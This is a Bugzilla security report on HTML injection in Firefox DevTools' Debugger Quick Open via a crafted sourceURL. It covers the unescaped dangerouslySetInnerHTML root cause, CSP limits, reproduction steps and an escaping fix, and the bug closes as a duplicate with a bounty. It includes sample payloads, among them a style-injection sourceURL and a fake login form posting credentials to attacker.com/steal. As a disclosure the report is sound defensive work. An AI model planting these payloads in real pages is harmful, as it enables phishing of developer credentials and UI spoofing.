Closed Bug 2024531 Opened 7 months ago Closed 7 months ago

DevTools Quick Open HTML Injection via sourceURL

Categories

(DevTools :: Debugger, defect)

defect

Tracking

(Not tracked)

RESOLVED DUPLICATE of bug 2023753

People

(Reporter: t.satoki111, Unassigned)

Details

(Keywords: reporter-external, sec-moderate, Whiteboard: [client-bounty-form])

Attachments

(3 files)

Attached file poc.zip —

Summary

A HTML injection vulnerability exists in Firefox DevTools' Debugger Quick Open feature (Ctrl+P). An attacker can inject arbitrary HTML into the Quick Open search results by crafting a JavaScript //# sourceURL= directive containing HTML payloads.

Impact

  • Component: DevTools Debugger - Quick Open Modal
  • Affected Versions: Firefox 150.0a1 (latest trunk) and current stable releases
  • Severity: sec-high (HTML/CSS injection in DevTools privileged context)
  • CWE: CWE-79 (Cross-site Scripting), CWE-116 (Improper Encoding or Escaping of Output)

Vulnerability Details

Root Cause

In devtools/client/debugger/src/components/QuickOpenModal.js, the renderHighlight() method (lines 394-408) renders the output of fuzzaldrin-plus.wrap() via React's dangerouslySetInnerHTML without any HTML escaping of the input string.

// QuickOpenModal.js:394-408
renderHighlight(candidateString, query) {
    const options = {
      wrap: {
        tagOpen: '<mark class="highlight">',
        tagClose: "</mark>",
      },
    };
    const html = fuzzyAldrin.wrap(candidateString, query, options);
    return div({
      dangerouslySetInnerHTML: {
        __html: html,  // No HTML escaping!
      },
    });
}

Data Flow (Attack Path)

  1. Attacker places a script with //# sourceURL=malicious<html>payload.js on their webpage
  2. The sourceURL value is stored in the DevTools source list as the source's display name
  3. The source name flows through getDisplayURL().filename -> getRawSourceURL() -> shortName without any sanitization
  4. When Quick Open search runs, formatSourceForList() sets title: source.shortName
  5. highlightMatching() calls renderHighlight(result.title, ...)
  6. fuzzaldrin.wrap() wraps matched characters in <mark> tags but outputs unmatched characters without HTML escaping
  7. The result is inserted into the DOM via dangerouslySetInnerHTML

Affected Files

File Lines Issue
devtools/client/debugger/src/components/QuickOpenModal.js 394-408 dangerouslySetInnerHTML with unsanitized input
devtools/client/shared/vendor/fuzzaldrin-plus.js 194-236 wrap() does not HTML-escape input
devtools/client/debugger/src/utils/quick-open.js 54-76 shortName used without escaping
devtools/client/debugger/src/client/firefox/create.js 276-278 shortName generated without escaping

CSP Mitigation

The DevTools Debugger page has the following CSP:

default-src chrome:; style-src chrome: 'unsafe-inline';
  • Inline script execution: Blocked (<svg onload=...>, <script>..., etc.)
  • CSS injection: Possible (style-src 'unsafe-inline' allows inline styles)
  • HTML element injection: Possible (forms, divs, imgs, etc. can be inserted)
  • DOM clobbering: Possible (overwriting JavaScript globals via element IDs)

Exploitation Scenarios

Scenario 1: CSS Injection for DevTools UI Manipulation

An attacker can inject <style> tags to completely alter the DevTools UI appearance. The CSP allows inline styles via style-src 'unsafe-inline'.

//# sourceURL=legit-file<style>*{background:red !important}</style>.js

Scenario 2: Form Injection for Credential Phishing

Display a fake authentication form within DevTools to steal developer credentials.

//# sourceURL=legit-config<form action="https://attacker.com/steal"><input name="u" placeholder="Username"><input name="p" type="password"><button>Login</button></form>.js

Scenario 3: Visual Spoofing

Display fake error messages or warnings to trick developers into taking incorrect actions.

Scenario 4: DOM Clobbering

Inject elements with specific id attributes to overwrite DevTools JavaScript globals, potentially causing unexpected behavior.

Scenario 5: Future CSP Relaxation

If the CSP is ever relaxed (e.g., adding img-src https:), CSS-based data exfiltration or script gadget exploitation could enable full script execution.

Reproduction Steps

  1. Start poc_server.py: python3 poc_server.py
  2. Open http://localhost:8080/poc.html in Firefox
  3. Open DevTools (F12)
  4. Switch to the Debugger tab
  5. Press Ctrl+P to open Quick Open modal
  6. Type "legit" in the search box
  7. Observe injected HTML rendering in search results

Suggested Fix

HTML-escape the input to fuzzaldrin.wrap() in renderHighlight():

function escapeHtml(str) {
  return str.replace(/&/g, '&amp;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/"/g, '&quot;')
            .replace(/'/g, '&#039;');
}

renderHighlight(candidateString, query) {
    const escaped = escapeHtml(candidateString);
    const options = { ... };
    const html = fuzzyAldrin.wrap(escaped, query, options);
    // ...
}

Alternatively, avoid using dangerouslySetInnerHTML entirely and use React's safe textContent-based rendering with separate <mark> components for highlighted portions.

Flags: sec-bounty?
Attached image ScreenShot.png —
Status: UNCONFIRMED → RESOLVED
Closed: 7 months ago
Component: Security → Debugger
Duplicate of bug: CVE-2026-6769
Product: Firefox → DevTools
Resolution: --- → DUPLICATE
Attached file poc.html —

It doesn't look like you needed the python server for this testcase. Attach POCs directly to the bug when possible. Unless they are multi-file complicated things or require special headers to be sent it makes testing and verification 100% easier.

We are awarding a split bounty between this and bug 2023753 which were both filed within our collision window.

Flags: sec-bounty? → sec-bounty+
Group: firefox-core-security
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: